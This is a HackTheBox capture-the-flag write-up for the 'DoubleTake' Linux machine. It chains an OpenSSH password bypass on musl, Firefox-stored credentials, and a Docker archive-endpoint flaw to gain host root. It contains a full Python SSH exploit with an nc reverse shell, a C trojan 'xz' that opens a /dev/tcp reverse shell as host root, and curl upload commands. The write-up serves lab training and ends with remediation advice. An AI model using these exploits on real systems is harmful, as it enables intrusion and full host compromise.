DoubleTake - HackTheBox Writeup



Target: 10.10.X.X  |  Attacker: 10.10.X.X  |  Difficulty: Easy  |  OS: Linux


Executive Summary

DoubleTake is an easy Linux machine that chains three distinct vulnerabilities. An OpenSSH password authentication bypass on a musl-based Alpine container (CVE-2026-123158) grants initial access as the alpine user. A Firefox saved login inside the container exposes credentials for the Zentara web application, which forwards archive uploads to the Docker API. Docker 29.5.0 is vulnerable to CVE-2026-41567, a binary resolution flaw in the archive endpoint that executes a container-controlled xz binary as host root.


1. Reconnaissance

1.1 Host Setup

Add the target to the local hosts file:

sudo tee -a /etc/hosts <<'EOF'
10.10.X.X  doubletake.htb
EOF

Create a working directory and isolate Python dependencies in a virtual environment:

mkdir -p ~/doubletake && cd ~/doubletake
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install paramiko

1.2 Port Scan

Run a full TCP scan:

nmap -p- --min-rate=2000 -T4 10.10.X.X -oN nmap_all.txt

Results:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Service and version detection:

nmap -p22,80 -sC -sV 10.10.X.X -oN nmap_svc.txt

Results:

22/tcp open  ssh   OpenSSH 10.6 (protocol 2.0)
80/tcp open  http  nginx 1.24.0 (Ubuntu)

Port 80 returns a 401 with HTTP Basic authentication for realm "Zentara". No credentials are available at this stage, so the web application is a dead end for now. OpenSSH 10.6 compiled against musl is affected by CVE-2026-123158, a password authentication bypass disclosed in October 2026.


2. Foothold - CVE-2026-123158

2.1 Background

Four independent design decisions combine to produce the bypass:

  1. BSD convention places * in the shadow password field of accounts that should never authenticate by password.
  2. musl's crypt() returns the string "*" on failure instead of NULL.
  3. musl's SHA-256/512 implementation caps keys at 256 bytes. A longer password triggers a failure and returns "*".
  4. OpenSSH's fix for CVE-2016-6210 borrows a $6$ salt from another account when the stored field is too short to use as a salt. This sends * accounts through musl's SHA-512 path.

On an Alpine Linux host, the default alpine system account carries * in /etc/shadow and is not restricted by PermitRootLogin. Sending a 300-byte password causes musl to reject the key and return "*", which sshd compares against the stored shadow field and grants access. The exploit requires two password attempts on a single SSH transport. The first attempt primes the cached salt, and the second attempt reloads * from a fresh getspnam() call so the comparison holds.

2.2 Exploit Script

Write the following script as sshole.py on the attacking machine:

#!/usr/bin/env python3
import paramiko, sys, time

host  = sys.argv[1]
lhost = sys.argv[2]
lport = int(sys.argv[3]) if len(sys.argv) > 3 else 9001

pw = "A" * 300
t  = paramiko.Transport((host, 22))
t.start_client(timeout=10)

for i in range(1, 7):
    try:
        t.auth_password("alpine", pw)
        print(f"[+] attempt {i}: authenticated")
        break
    except paramiko.AuthenticationException:
        print(f"[-] attempt {i}: denied")

if not t.is_authenticated():
    print("[-] failed"); sys.exit(1)

rev = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f"
ch = t.open_session()
ch.exec_command(rev)
time.sleep(1)
t.close()
print("[+] sent")

Make it executable:

chmod +x sshole.py

2.3 Execution

Start a listener in one terminal:

nc -lvnp 9001

In a second terminal, with the virtual environment active, launch the exploit:

python3 sshole.py 10.10.X.X 10.10.X.X 9001

Output:

[-] attempt 1: denied
[+] attempt 2: authenticated
[+] sent

The listener receives a shell:

~ $ id
uid=1000(alpine) gid=1000(alpine) groups=1000(alpine)

3. Container Enumeration

Confirm the shell is inside a Docker container:

ls /.dockerenv
head -1 /etc/os-release

The environment is Alpine Linux. Search for saved browser data:

find /home/alpine -name logins.json
cat /home/alpine/.mozilla/firefox/zentara.default/logins.json

The file contains:

{
  "logins": [
    {
      "hostname": "http://172.17.0.1",
      "httpRealm": "Zentara",
      "encryptedUsername": "Ym9i",
      "encryptedPassword": "Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ==",
      "encType": 0
    }
  ]
}

encType: 0 means no master password protection, so the values are plain base64. Decode them:

echo Ym9i | base64 -d ; echo
echo Q29ycmVjdEhvcnNlQmF0dGVyeVN0YXBsZQ== | base64 -d ; echo

Results:

bob
CorrectHorseBatteryStaple

The hostname 172.17.0.1 is the Docker bridge gateway, pointing to the host web application.


4. Lateral Movement

Log in as bob over SSH and retrieve the user flag:

sshpass -p 'CorrectHorseBatteryStaple' \
    ssh -o StrictHostKeyChecking=no bob@10.10.X.X

id
cat ~/user.txt

5. Web Application Reconnaissance

Log into http://10.10.X.X with bob:CorrectHorseBatteryStaple. The application is an AI agent platform named Zentara.

The Status page reports the backend engine:

Engine:      Docker 29.5.0
API version: 1.54
OS / Arch:   linux/amd64

Docker 29.5.0 is vulnerable to CVE-2026-41567. The Deploy page accepts .tar, .tar.gz, and .tar.xz archives. A note states that archives are decompressed and extracted server-side by the container engine. The API Docs page confirms that PUT /v1/deploy forwards uploads to the container engine via PUT /containers/{id}/archive.

A leaked chat conversation between a user and the CodePilot agent confirms that xz-compressed archives are decompressed server side.


6. Privilege Escalation - CVE-2026-41567

6.1 Background

Docker through 29.5.0 contains a binary resolution flaw in PUT /containers/{id}/archive. When the daemon receives a compressed archive, it resolves decompression binaries by name from the container's overlay filesystem instead of the host's. The resolved binary executes as the daemon process, which runs as host root with unrestricted capabilities including CAP_SYS_ADMIN. The xz and unpigz binaries are affected. The exploit replaces /usr/bin/xz inside the container with a trojan and then uploads any .tar.xz archive. When the daemon invokes the trojan, the process inherits CAP_SYS_ADMIN and runs in the host PID namespace. Mounting procfs and chrooting into /proc/1/root provides access to the host filesystem.

6.2 Trojan Source

Write the following source as xz.c on the attacking machine:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mount.h>

int main(int argc, char *argv[]) {
    mount("proc", "/proc", "proc", 0, NULL);
    chroot("/proc/1/root");
    chdir("/");
    execl("/bin/bash", "bash", "-c",
        "bash -i >& /dev/tcp/10.10.X.X/4444 0>&1", NULL);
    return 1;
}

Compile the trojan as a static binary:

gcc -static -o xz xz.c

6.3 Package the Trojan

Build the archive so that the trojan lands at the path Docker resolves from the overlay:

mkdir -p pkg/usr/bin
cp xz pkg/usr/bin/xz
cd pkg && tar cf ../plant.tar usr/bin/xz && cd ..

6.4 Deploy the Trojan

Upload the plant archive with the target path set to the container root:

curl -u bob:CorrectHorseBatteryStaple \
     -F 'archive=@plant.tar' \
     -F 'workspace=/' \
     http://10.10.X.X/deploy

A success response indicates that the trojan replaced the real /usr/bin/xz inside the container.

6.5 Build the Trigger Archive

echo x > t && tar cf - t | xz > trigger.tar.xz

Install xz-utils if the attacker machine does not already have it.

6.6 Trigger the Exploit

Start a listener on port 4444:

nc -lvnp 4444

Upload the trigger archive:

curl -u bob:CorrectHorseBatteryStaple \
     -F 'archive=@trigger.tar.xz' \
     -F 'workspace=/workspace' \
     http://10.10.X.X/deploy

A 500 Internal Server Error is expected because the daemon blocks while the reverse shell runs. The listener receives a root shell:

connect to [10.10.X.X] from doubletake.htb [10.10.X.X] 42320
root@doubletake:/# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve the root flag:

cat /root/root.txt

7. Summary of Vulnerabilities

Stage Identifier Description
Initial Access CVE-2026-123158 musl crypt() returns "*" for keys longer than 256 bytes, matching the locked alpine shadow entry
Credential Recovery Firefox logins.json Base64 encoded username and password for bob stored without master password
Privilege Escalation CVE-2026-41567 Docker resolves xz from the container overlay and executes it as host root

8. Remediation

  • Upgrade OpenSSH to a build that correctly handles musl's crypt() return value, or disable password authentication for system accounts.
  • Remove stored browser profiles from container images and enforce master password protection.
  • Upgrade Docker to a version that resolves decompression binaries from the host filesystem only.
  • Restrict the container archive endpoint to authenticated, authorized callers.
Kebal Bhandari

As an experienced Fullstack Senior Software Developer with a strong background in IT administration and a growing interest in cybersecurity, I am eager to learn more about the complexities of online security, risk management, and data analytics.

Post a Comment

Express your opinion

Previous Post Next Post

Download Cyber Master

Download Cyber Master